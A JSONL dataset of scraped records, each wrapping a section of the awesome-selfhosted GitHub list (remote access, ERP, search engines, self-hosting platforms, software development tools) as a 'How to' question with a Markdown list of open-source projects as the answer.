([Demo](https://app.tamariapp.com), [Source Code](https://github.com/alexbates/Tamari)) `GPL-3.0` `Docker/Python`\n- [Vanilla Cookbook](https://vanilla-cookbook.readthedocs.io/en/) - Recipe manager designed with complexity under the hood, keeping the user experience as uncluttered, simply vanilla as possible. ([Source Code](https://github.com/jt196/vanilla-cookbook)) `GPL-3.0` `Docker/Nodejs`\n- [What To Cook?](https://github.com/kassner/whattocook) - Get a recipe to cook today, based on the ingredients you have at home. `AGPL-3.0` `Docker`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557533"}
{"id": "gh_be000d2c22fc", "question": "How to: Remote Access", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\n[Remote desktop](https://en.wikipedia.org/wiki/Remote_desktop_software) and [SSH](https://en.wikipedia.org/wiki/Secure_Shell) servers and web interfaces for remote management of computer systems.\n\n- [Engity's Bifröst](https://bifroest.engity.org/) - Highly customizable SSH server with several ways to authorize a user and options where and how to execute a user's session. ([Source Code](https://github.com/engity-com/bifroest)) `Apache-2.0` `Go/Docker`\n- [Firezone](https://www.firezone.dev/) - Secure remote access gateway that supports the WireGuard protocol. It offers a Web GUI, 1-line install script, multi-factor auth (MFA), and SSO. ([Source Code](https://github.com/firezone/firezone)) `Apache-2.0` `Elixir/Docker`\n- [Guacamole](https://guacamole.apache.org) - Clientless remote desktop gateway supporting standard protocols like VNC and RDP. ([Source Code](https://github.com/apache/guacamole-server)) `Apache-2.0` `Java/C`\n- [MeshCentral](https://meshcentral.com/) - Run your own web server to remotely manage and control computers on a local network or anywhere on the internet. ([Source Code](https://github.com/Ylianst/MeshCentral)) `Apache-2.0` `Nodejs`\n- [ShellHub](https://www.shellhub.io) - Modern SSH server for remotely accessing linux devices via command line (using any SSH client) or web-based user interface (alternative to sshd). ([Source Code](https://github.com/shellhub-io/shellhub)) `Apache-2.0` `Docker`\n- [Sshwifty](https://github.com/nirui/sshwifty) - Sshwifty is a SSH and Telnet connector made for the Web. ([Demo](https://sshwifty-demo.nirui.org)) `AGPL-3.0` `Go/Docker`\n- [Termix](https://docs.termix.site/) - Clientless web-based server management platform with SSH terminal, tunneling, and file editing capabilities. ([Source Code](https://github.com/LukeGus/Termix)) `Apache-2.0` `Docker`\n- [Warpgate](https://github.com/warp-tech/warpgate) - Smart SSH and HTTPS bastion that works with any SSH client. `Apache-2.0` `Rust/Docker`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557540"}
{"id": "gh_6afc9ff7f0ed", "question": "How to: Resource Planning", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\nSoftware and tools to help with [resource and supply planning](https://en.wikipedia.org/wiki/Resource_planning), including [enterprise resource and supply planning (ERP)](https://en.wikipedia.org/wiki/Enterprise_resource_planning).\n\n_Related: [Money, Budgeting & Management](#money-budgeting--management), [Inventory Management](#inventory-management)_\n\n- [Dolibarr](https://www.dolibarr.org/) - Modern CRM software package to manage your company or foundation activity (contacts, suppliers, invoices, orders, stocks, agenda, accounting, ...). ([Demo](https://www.dolibarr.org/onlinedemo.php), [Source Code](https://github.com/Dolibarr/dolibarr)) `GPL-3.0` `PHP/deb`\n- [ERPNext](https://frappe.io/erpnext) - ERP system to help you run your business. ([Source Code](https://github.com/frappe/erpnext)) `GPL-3.0` `Python/Docker`\n- [farmOS](https://farmos.org/) - Web-based farm record keeping application. ([Demo](https://farmos-demo.rootedsolutions.io/), [Source Code](https://github.com/farmOS/farmOS)) `GPL-2.0` `PHP/Docker`\n- [grocy](https://grocy.info/) - ERP beyond your fridge. Groceries & household management solution for your home. ([Demo](https://en.demo.grocy.info/), [Source Code](https://github.com/grocy/grocy)) `MIT` `PHP/Docker`\n- [LedgerSMB](https://ledgersmb.org/) - Integrated accounting and ERP system for small and midsize businesses, with double entry accounting, budgeting, invoicing, quotations, projects, orders and inventory management, shipping and more. ([Source Code](https://github.com/ledgersmb/LedgerSMB)) `GPL-2.0` `Docker/Perl`\n- [Odoo](https://www.odoo.com) - Free open source ERP system. ([Demo](https://demo.odoo.com/), [Source Code](https://github.com/odoo/odoo)) `LGPL-3.0` `Python/deb/Docker`\n- [OFBiz](https://ofbiz.apache.org/) - Enterprise Resource Planning system with a suite of business applications flexible enough to be used across any industry. ([Source Code](https://github.com/apache/ofbiz-framework)) `Apache-2.0` `Java`\n- [Tryton](https://www.tryton.org/) - Free open source business solution. ([Demo](https://www.tryton.org/demo), [Source Code](https://foss.heptapod.net/tryton/tryton)) `GPL-3.0` `Python`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557546"}
{"id": "gh_6b0352905ed2", "question": "How to: Search Engines", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\nA [search engine](https://en.wikipedia.org/wiki/Search_engine_(computing)) is an [information retrieval system](https://en.wikipedia.org/wiki/Information_retrieval) designed to help find information stored on a computer system. This includes [Web search engines](https://en.wikipedia.org/wiki/Web_search_engine).\n\n- [Aleph](https://aleph.occrp.org/) - Tool for indexing large amounts of both documents (PDF, Word, HTML) and structured (CSV, XLS, SQL) data for easy browsing and search. It is built with investigative reporting as a primary use case. ([Demo](https://aleph.occrp.org/), [Source Code](https://github.com/alephdata/aleph)) `MIT` `Docker/K8S`\n- [Apache Solr](https://lucene.apache.org/solr/) - Enterprise search platform featuring full-text search, hit highlighting, faceted search, real-time indexing, dynamic clustering, and rich document (e.g., Word, PDF) handling. ([Source Code](https://github.com/apache/solr)) `Apache-2.0` `Java/Docker/K8S`\n- [Fess](https://fess.codelibs.org/) - Powerful and easily deployable Enterprise Search Server. ([Demo](https://search.n2sm.co.jp/), [Source Code](https://github.com/codelibs/fess)) `Apache-2.0` `Java/Docker`\n- [Jina](https://github.com/jina-ai/serve) - Cloud-native neural search framework for any kind of data. `Apache-2.0` `Python/Docker`\n- [Manticore Search](https://github.com/manticoresoftware/manticoresearch/) - Full-text search and data analytics, with fast response time for small, medium and big data (alternative to Elasticsearch). `GPL-3.0` `Docker/deb/C++/K8S`\n- [MeiliSearch](https://www.meilisearch.com) - Ultra relevant, instant and typo-tolerant full-text search API. ([Source Code](https://github.com/meilisearch/MeiliSearch)) `MIT` `Rust/Docker/deb`\n- [OpenSearch](https://opensearch.org) - Distributed and RESTful search engine. ([Source Code](https://github.com/opensearch-project/OpenSearch)) `Apache-2.0` `Java/Docker/K8S/deb`\n- [SearXNG](https://docs.searxng.org/) `⚠` - Internet metasearch engine which aggregates results from various search services and databases (Fork of Searx). ([Source Code](https://github.com/searxng/searxng/)) `AGPL-3.0` `Python/Docker`\n- [sist2](https://github.com/sist2app/sist2) - Lightning-fast file system indexer and search tool. `GPL-3.0` `C/Docker`\n- [Sosse](https://sosse.readthedocs.io/en/stable/) - Selenium based search engine and crawler with offline archiving. ([Source Code](https://gitlab.com/biolds1/sosse)) `AGPL-3.0` `Python/Docker`\n- [Typesense](https://typesense.org) - Blazing fast, typo-tolerant open source search engine optimized for developer happiness and ease of use. ([Source Code](https://github.com/typesense/typesense)) `GPL-3.0` `C++/Docker/K8S/deb`\n- [Websurfx](https://github.com/neon-mmd/websurfx) `⚠` - Aggregate results from other search engines (metasearch engine) without ads while keeping privacy and security in mind. It is extremely fast and provides a high level of customization (alternative to SearX). `AGPL-3.0` `Rust/Docker`\n- [Whoogle](https://github.com/benbusby/whoogle-search) `⚠` - A self-hosted, ad-free, privacy-respecting metasearch engine. `MIT` `Python`\n- [Yacy](https://yacy.net/en/index.html) - Peer based, decentralized search engine server. ([Source Code](https://github.com/yacy/yacy_search_server)) `GPL-2.0` `Java/Docker/K8S`\n- [ZincSearch](https://zincsearch.com) - Search engine that requires minimal resources (alternative to Elasticsearch). ([Demo](https://github.com/zinclabs/zinc#playground-server), [Source Code](https://github.com/zincsearch/zincsearch)) `Apache-2.0` `Go/Docker/K8S`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557557"}
{"id": "gh_fdd4402e1d53", "question": "How to: Self-hosting Solutions", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\nSoftware for easy installation, management and configuration of self-hosted services and applications.\n\n- [Ansible-NAS](https://github.com/DaveStephens/ansible-nas) - Build a full-featured home server with this playbook and an Ubuntu box. `MIT` `Ansible/Docker`\n- [CasaOS](https://casaos.zimaspace.com/) - Simple, easy-to-use, elegant Home Cloud system. ([Source Code](https://github.com/IceWhaleTech/CasaOS)) `Apache-2.0` `Go/Docker`\n- [DietPi](https://dietpi.com/) - Minimal Debian OS optimized for single-board computers, which allows you to easily install and manage several services for selfhosting at home. ([Source Code](https://github.com/MichaIng/DietPi)) `GPL-2.0` `Shell`\n- [DockSTARTer](https://dockstarter.com/) - DockSTARTer helps you get started with home server apps running in Docker. ([Source Code](https://github.com/GhostWriters/DockSTARTer)) `MIT` `Shell`\n- [Dropserver](https://dropserver.org) - An application platform for your personal web services. ([Source Code](https://github.com/teleclimber/Dropserver/)) `Apache-2.0` `Go/Deno`\n- [FreedomBox](https://freedombox.org/) - Community project to develop, design and promote personal servers running free software for private, personal, communications. ([Source Code](https://salsa.debian.org/freedombox-team/freedombox)) `AGPL-3.0` `Python/deb`\n- [HomelabOS](https://homelabos.com) - Offline privacy-centric data-center. Deploy over 100 services with a few commands. ([Source Code](https://gitlab.com/NickBusey/HomelabOS)) `MIT` `Docker`\n- [HomeServerHQ](https://www.homeserverhq.com/) - All-in-one home server infrastructure and installer. Have a fully configured email server, VPN, and public website(s) set up in less than an hour, even behind CGNAT. ([Source Code](https://github.com/homeserverhq/hshq)) `GPL-3.0` `Shell`\n- [LibreServer](https://libreserver.org/) - Home server configuration based on Debian. ([Source Code](https://github.com/bashrc2/libreserver)) `AGPL-3.0` `Shell`\n- [Mistborn](https://gitlab.com/cyber5k/mistborn) - Virtual private cloud platform and WebUI that manages self hosted services. `MIT` `Shell/Docker`\n- [NextCloudPi](https://github.com/nextcloud/nextcloudpi) - Nextcloud preinstalled and preconfigured, with a text and web management interface and all the tools needed to self host private data. With installation images for Raspberry Pi, Odroid, Rock64, Docker, and a curl installer for Armbian/Debian. `GPL-2.0` `Shell/PHP`\n- [Nirvati](https://nirvati.org) - Easily 1-click spin up popular self-hosted apps from a convenient web interface. ([Source Code](https://gitlab.com/nirvati-ug/nirvati)) `AGPL-3.0` `Rust/K8S`\n- [OpenMediaVault](https://www.openmediavault.org/) - Network attached storage (NAS) solution based on Debian Linux. It contains services like SSH, (S)FTP, SMB/CIFS, DAAP media server, RSync, BitTorrent client and many more. ([Source Code](https://github.com/openmediavault/openmediavault)) `GPL-3.0` `PHP`\n- [Sandstorm](https://sandstorm.io/) - Personal server for running self-hosted apps easily and securely. ([Demo](https://demo.sandstorm.io/), [Source Code](https://github.com/sandstorm-io/sandstorm)) `Apache-2.0` `C++/Shell`\n- [Self Host Blocks](https://github.com/ibizaman/selfhostblocks) `⚠` - Modular server management based on NixOS modules and focused on best practices. `AGPL-3.0` `Nix`\n- [StartOS](https://start9.com) - Browser-based, graphical Operating System (OS) that makes running a personal server as easy as running a personal computer. ([Source Code](https://github.com/Start9Labs/start-os)) `MIT` `Rust`\n- [Syncloud](https://syncloud.org/) - Your own online file storage, social network or email server. ([Source Code](https://github.com/syncloud/platform)) `GPL-3.0` `Go/Shell`\n- [Tipi](https://runtipi.io/) - Homeserver manager. One command setup, one click installs for your favorites self-hosted apps. ([Source Code](https://github.com/runtipi/runtipi)) `GPL-3.0` `Shell`\n- [UBOS](https://ubos.net/) - Linux distro that runs on indie boxes (personal servers and IoT devices). Single-command installation and management of apps - Jenkins, Mediawiki, Owncloud, WordPress, etc., and other features. `GPL-3.0` `Perl`\n- [Websoft9](https://www.websoft9.com) `⚠` - GitOps-driven, multi-application hosting for cloud servers and home servers, one-click deployment of 200+ open source apps. ([Demo](https://www.websoft9.com/demo), [Source Code](https://github.com/websoft9/websoft9), [Clients](https://www.websoft9.com/apps)) `LGPL-3.0` `Shell/Python`\n- [WikiSuite](https://wikisuite.org) - The most comprehensive and integrated Free / Libre / Open Source enterprise software suite. ([Source Code](https://wikisuite.org/Source-Code)) `GPL-3.0/LGPL-2.1/Apache-2.0/MPL-2.0/MPL-1.1/MIT/AGPL-3.0` `Shell/Perl/deb`\n- [xsrv](https://xsrv.readthedocs.io/) - Install and manage self-hosted services/applications, on your own server(s). ([Source Code](https://github.com/nodiscc/xsrv)) `GPL-3.0` `Ansib", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557571"}
{"id": "gh_89f30ffb248d", "question": "How to: Software Development", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\n[Software development](https://en.wikipedia.org/wiki/Software_development) is the process of conceiving, specifying, designing, programming, documenting, testing, and bug fixing involved in creating and maintaining applications, frameworks, or other software components.\n\n**Please visit [Software Development - API Management](#software-development---api-management), [Software Development - Continuous Integration & Deployment](#software-development---continuous-integration--deployment), [Software Development - FaaS & Serverless](#software-development---faas--serverless), [Software Development - IDE & Tools](#software-development---ide--tools), [Software Development - Localization](#software-development---localization), [Software Development - Low Code](#software-development---low-code), [Software Development - Project Management](#software-development---project-management), [Software Development - Testing](#software-development---testing), [Software Development - Feature Toggle](#software-development---feature-toggle)**", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557576"}
{"id": "gh_e97f7746b44f", "question": "How to: Software Development - Continuous Integration & Deployment", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\n[Continuous integration](https://en.wikipedia.org/wiki/Continuous_integration) and [Continuous deployment](https://en.wikipedia.org/wiki/Continuous_deployment) software and tools.\n\n**Please visit [awesome-sysadmin/Continuous Integration & Continuous Deployment](https://github.com/awesome-foss/awesome-sysadmin#continuous-integration--continuous-deployment)**\n\n_Related: [Automation](#automation)_", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557591"}
{"id": "gh_3a348c95a01d", "question": "How to: Software Development - FaaS & Serverless", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\n[Serverless computing](https://en.wikipedia.org/wiki/Serverless_computing), [Function as a Service (FaaS)](https://en.wikipedia.org/wiki/Function_as_a_service) and [Platform as a Service (Paas)](https://en.wikipedia.org/wiki/Platform_as_a_service) management software.\n\n**Please visit [awesome-sysadmin/PaaS](https://github.com/awesome-foss/awesome-sysadmin#paas)**", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557596"}
{"id": "gh_8ba7edd17f9e", "question": "How to: Software Development - Feature Toggle", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\nA [feature toggle](https://en.wikipedia.org/wiki/Feature_toggle) in software development provides an alternative to maintaining multiple feature branches in source code.\n\n_Related: [Software Development - IDE & Tools](#software-development---ide--tools)_\n\n- [Featbit](https://www.featbit.co/) - Enterprise-grade feature flag platform that you can self-host. ([Source Code](https://github.com/featbit/featbit)) `MIT` `Docker/K8S`\n- [Flagsmith](https://flagsmith.com) - Dashboard, API and SDKs for adding Feature Flags to your applications (alternative to LaunchDarkly). ([Source Code](https://github.com/flagsmith/flagsmith)) `BSD-3-Clause` `Docker/K8S`\n- [Flipt](https://flipt.io) - Feature flag solution with support for multiple data backends (alternative to LaunchDarkly). ([Source Code](https://github.com/flipt-io/flipt)) `GPL-3.0` `Docker/K8S/Go`\n- [GO Feature Flag](https://gofeatureflag.org) - Simple, complete, and lightweight feature flag solution (alternative to LaunchDarkly). ([Source Code](https://github.com/thomaspoignant/go-feature-flag)) `MIT` `Go`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557601"}
{"id": "gh_cfb420c78796", "question": "How to: Software Development - IDE & Tools", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\nAn [integrated development environment (IDE)](https://en.wikipedia.org/wiki/Integrated_development_environment) is a software application that provides comprehensive facilities to computer programmers for software development.\n\n_Related: [Software Development - Low Code](#software-development---low-code)_\n\n- [Atheos](https://www.atheos.io) - Web-based IDE framework with a small footprint and minimal requirements, continued from Codiad. ([Source Code](https://github.com/Atheos/Atheos)) `MIT` `PHP/Docker`\n- [code-server](https://github.com/coder/code-server) - VS Code in the browser, hosted on a remote server. `MIT` `Nodejs/Docker`\n- [Coder](https://coder.com/) - Remote development machines on your own infrastructure. ([Source Code](https://github.com/coder/coder)) `AGPL-3.0` `Go/Docker/K8S/deb`\n- [Eclipse Che](https://www.eclipse.org/che/) - Open source workspace server and cloud IDE. ([Source Code](https://github.com/eclipse-che/che)) `EPL-1.0` `Docker/Java`\n- [Judge0 CE](https://judge0.com) - API to compile and run source code. ([Source Code](https://github.com/judge0/judge0)) `GPL-3.0` `Docker`\n- [JupyterLab](https://jupyterlab.readthedocs.io/en/stable/) - Web-based environment for interactive and reproducible computing. ([Demo](https://mybinder.org/v2/gh/jupyterlab/jupyterlab-demo/try.jupyter.org?urlpath=lab), [Source Code](https://github.com/jupyterlab/jupyterlab/)) `BSD-3-Clause` `Python/Docker`\n- [Langfuse](https://langfuse.com) - LLM engineering platform for model tracing, prompt management, and application evaluation. Langfuse helps teams collaboratively debug, analyze, and iterate on their LLM applications such as chatbots or AI agents. ([Demo](https://langfuse.com/docs/demo), [Source Code](https://github.com/langfuse/langfuse), [Clients](https://langfuse.com/docs/integrations/overview)) `MIT` `Docker`\n- [LiveCodes](https://livecodes.io/docs/features/self-hosting) `⚠` - Feature-rich client-side code playground for React, Vue, Svelte, Solid, Typescript, Python, Go, Ruby, PHP and 90+ other languages. ([Demo](https://livecodes.io), [Source Code](https://github.com/live-codes/livecodes)) `MIT` `Nodejs`\n- [Lowdefy](https://www.lowdefy.com/) - Build internal tools, BI dashboards, admin panels, CRUD apps and workflows in minutes using YAML / JSON on an self-hosted, open-source platform. Connect to your data sources, host via Serverless, Netlify or Docker. ([Source Code](https://github.com/lowdefy/lowdefy)) `Apache-2.0` `Nodejs/Docker`\n- [RStudio Server](https://www.rstudio.com/products/rstudio/#Server) - Web browser based IDE for R. ([Source Code](https://github.com/rstudio/rstudio)) `AGPL-3.0` `Java/C++`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557611"}
{"id": "gh_b1babd706452", "question": "How to: Software Development - Localization", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\n[Localization](https://en.wikipedia.org/wiki/Internationalization_and_localization) is the process of adapting code and software to other languages.\n\n- [Accent](https://www.accent.reviews/) - Developer-oriented translation tool. ([Source Code](https://github.com/mirego/accent)) `BSD-3-Clause` `Elixir/Docker`\n- [Tolgee](https://tolgee.io) - Developer & translator friendly web-based localization platform enabling users to translate directly in the app they develop. ([Source Code](https://github.com/tolgee/tolgee-platform)) `Apache-2.0` `Docker/Java`\n- [Traduora](https://traduora.co) - Translation management platform for teams. ([Source Code](https://github.com/ever-co/ever-traduora)) `AGPL-3.0` `Docker/K8S/Nodejs`\n- [Weblate](https://weblate.org) - Web-based translation tool with tight version control integration. ([Source Code](https://github.com/WeblateOrg/weblate)) `GPL-3.0` `Python/Docker/K8S`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557617"}
{"id": "gh_3f54a7540486", "question": "How to: Software Development - Low Code", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\nA [low-code](https://en.wikipedia.org/wiki/Low-code_development_platform) development platform (LCDP) provides a development environment used to create application software through a graphical user interface.\n\n_Related: [Software Development - IDE & Tools](#software-development---ide--tools)_\n\n- [Appsmith](https://www.appsmith.com/) - Build admin panels, CRUD apps and workflows. Build everything you need, 10x faster. ([Source Code](https://github.com/appsmithorg/appsmith)) `Apache-2.0` `Java/Docker/K8S`\n- [Appwrite](https://appwrite.io) - End to end backend server for web, native, and mobile developers 🚀. ([Source Code](https://github.com/appwrite/appwrite)) `BSD-3-Clause` `Docker`\n- [autokitteh](https://autokitteh.com/) - Durable workflow automation in just a few lines of code. ([Source Code](https://github.com/autokitteh/autokitteh)) `Apache-2.0` `Go/Docker`\n- [Dashpress](https://github.com/dashpresshq/dashpress) - Generate fully functional admin apps in seconds from your database information, with a single command. `AGPL-3.0` `Nodejs/Docker`\n- [Halo](https://www.halo.run) - A powerful and easy-to-use website building tool (documentation in Chinese). ([Demo](https://demo.halo.run), [Source Code](https://github.com/halo-dev/halo), [Clients](https://github.com/halo-sigs/awesome-halo)) `GPL-3.0` `Java/Docker`\n- [Manifest](https://manifest.build) - Complete backend that fits into 1 YAML file. ([Demo](https://manifest.new), [Source Code](https://github.com/mnfst/manifest)) `MIT` `Nodejs`\n- [PocketBase](https://pocketbase.io/) - Backend for your next SaaS and Mobile app in one file. ([Source Code](https://github.com/pocketbase/pocketbase)) `MIT` `Go/Docker`\n- [Saltcorn](https://saltcorn.com/) - No-code database application builder for web and mobile applications. One platform for user interface, data backend, durable workflows, email, PDF generation, and AI applications. ([Source Code](https://github.com/saltcorn/saltcorn)) `MIT` `Docker/Nodejs`\n- [SQLPage](https://sql-page.com) - SQL-only dynamic website builder. ([Source Code](https://github.com/sqlpage/SQLPage)) `MIT` `Rust/Docker`\n- [ToolJet](https://tooljet.io/) - Low-code framework to build & deploy internal tools with minimal engineering effort (alternative to Retool and Mendix). ([Source Code](https://github.com/ToolJet/ToolJet)) `GPL-3.0` `Nodejs/Docker/K8S`\n- [TrailBase](https://trailbase.io/) - Open, sub-millisecond, single-executable FireBase alternative with type-safe REST & realtime APIs, built-in JS/TS runtime, auth & admin UI. ([Demo](https://demo.trailbase.io), [Source Code](https://github.com/trailbaseio/trailbase)) `OSL-3.0` `Rust/Docker`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557629"}
{"id": "gh_04643541eadd", "question": "How to: Software Development - Project Management", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\nTools and software for [software project management](https://en.wikipedia.org/wiki/Software_project_management).\n\n_Related: [Ticketing](#ticketing), [Task Management & To-do Lists](#task-management--to-do-lists)_\n\n- [Cgit](https://git.zx2c4.com/cgit/about/) - Fast lightweight web interface for git repositories. ([Source Code](https://git.zx2c4.com/cgit/tree/)) `GPL-2.0` `C`\n- [Forgejo](https://forgejo.org) - A lightweight software forge focused on scaling, federation, and privacy (fork of Gitea). ([Demo](https://next.forgejo.org), [Source Code](https://codeberg.org/forgejo/forgejo/), [Clients](https://codeberg.org/forgejo-contrib/delightful-forgejo)) `MIT` `Docker/Go`\n- [Fossil](https://www.fossil-scm.org/index.html/doc/trunk/www/index.wiki) - Distributed version control system featuring wiki and bug tracker. `BSD-2-Clause-FreeBSD` `C`\n- [Gerrit](https://www.gerritcodereview.com/) - Code review and project management tool for Git-based projects. ([Source Code](https://github.com/GerritCodeReview/gerrit)) `Apache-2.0` `Java/Docker`\n- [gitbucket](https://gitbucket.github.io/) - Git platform powered with easy installation, high extensibility & GitHub API compatibility (alternative to GitHub). ([Source Code](https://github.com/gitbucket/gitbucket)) `Apache-2.0` `Scala/Java`\n- [Gitea](https://gitea.com) - Git with a cup of tea! Painless self-hosted all-in-one software development service, including Git hosting, code review, team collaboration, package registry and CI/CD. ([Demo](https://demo.gitea.com), [Source Code](https://github.com/go-gitea/gitea)) `MIT` `Go/Docker/K8S`\n- [GitLab](https://about.gitlab.com) - Self Hosted Git repository management, code reviews, issue tracking, activity feeds and wikis. ([Demo](https://gitlab.com/), [Source Code](https://gitlab.com/gitlab-org/gitlab-foss)) `MIT` `Ruby/deb/Docker/K8S`\n- [Gogs](https://gogs.io/) - Painless self-hosted Git Service written in Go. ([Source Code](https://github.com/gogs/gogs)) `MIT` `Go`\n- [Huly](https://huly.io) - All-in-one project management platform (alternative to Linear, Jira, Slack, Notion, Motion). ([Demo](https://app.huly.io), [Source Code](https://github.com/hcengineering/platform)) `EPL-2.0` `Docker/K8S/Nodejs`\n- [Kallithea](https://kallithea-scm.org/) - Source code management system that supports two leading version control systems, Mercurial and Git, with a web interface. ([Source Code](https://kallithea-scm.org/repos/kallithea)) `GPL-3.0` `Python`\n- [Kaneo](https://kaneo.app/) - Project management platform focused on simplicity and efficiency. ([Demo](https://demo.kaneo.app/), [Source Code](https://github.com/usekaneo/kaneo)) `MIT` `K8S/Docker`\n- [Leantime](https://leantime.io) - Lean project management system for small teams and startups helping to manage projects from ideation through delivery. ([Source Code](https://github.com/leantime/leantime)) `AGPL-3.0` `PHP/Docker`\n- [Mergeable](https://www.usemergeable.dev) `⚠` - A better inbox for GitHub pull requests. ([Demo](https://app.usemergeable.dev), [Source Code](https://github.com/pvcnt/mergeable)) `MIT` `Nodejs/Docker/K8S`\n- [Mindwendel](https://www.mindwendel.com/) - Brainstorm and upvote ideas and thoughts within your team. ([Demo](https://www.mindwendel.com), [Source Code](https://github.com/b310-digital/mindwendel)) `AGPL-3.0` `Docker/Elixir`\n- [minimal-git-server](https://github.com/mcarbonne/minimal-git-server) - Lightweight git server with a basic CLI to manage repositories, supporting multiple accounts and running in a container. `MIT` `Docker`\n- [Octobox](https://octobox.io/) `⚠` - Take back control of your GitHub Notifications. ([Source Code](https://github.com/octobox/octobox)) `AGPL-3.0` `Ruby/Docker`\n- [OneDev](https://onedev.io/) - All-In-One DevOps Platform. With Git Management, Issue Tracking, and CI/CD. Simple yet Powerful. ([Source Code](https://code.onedev.io/projects/160)) `MIT` `Java/Docker/K8S`\n- [OpenProject](https://www.openproject.org) - Manage your projects, tasks and goals. Collaborate via work packages and link them to your pull requests on Github. ([Source Code](https://github.com/opf/openproject)) `GPL-3.0` `Ruby/deb/Docker`\n- [Pagure](https://pagure.io/pagure) - Lightweight, powerful, and flexible git-centric forge with features laying the foundation for federated and decentralized development. ([Demo](https://pagure.io/)) `GPL-2.0` `Docker/Python/deb`\n- [Phorge](https://we.phorge.it/) - Community-driven platform for collaborating, managing, organizing and reviewing software development projects. ([Source Code](https://we.phorge.it/source/phorge/)) `Apache-2.0` `PHP`\n- [Plane](https://plane.so) - Track issues, epics, and product roadmaps in the simplest way possible (alternative to JIRA, Linear and Height). ([Demo](https://app.plane.so), [Source Code](https://github.com/makeplane/plane)) `AGPL-3.0` `Docker`\n- [ProjeQtOr](https://www.projeqtor.org/) - Complete, mature, multi-user project manage", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557648"}
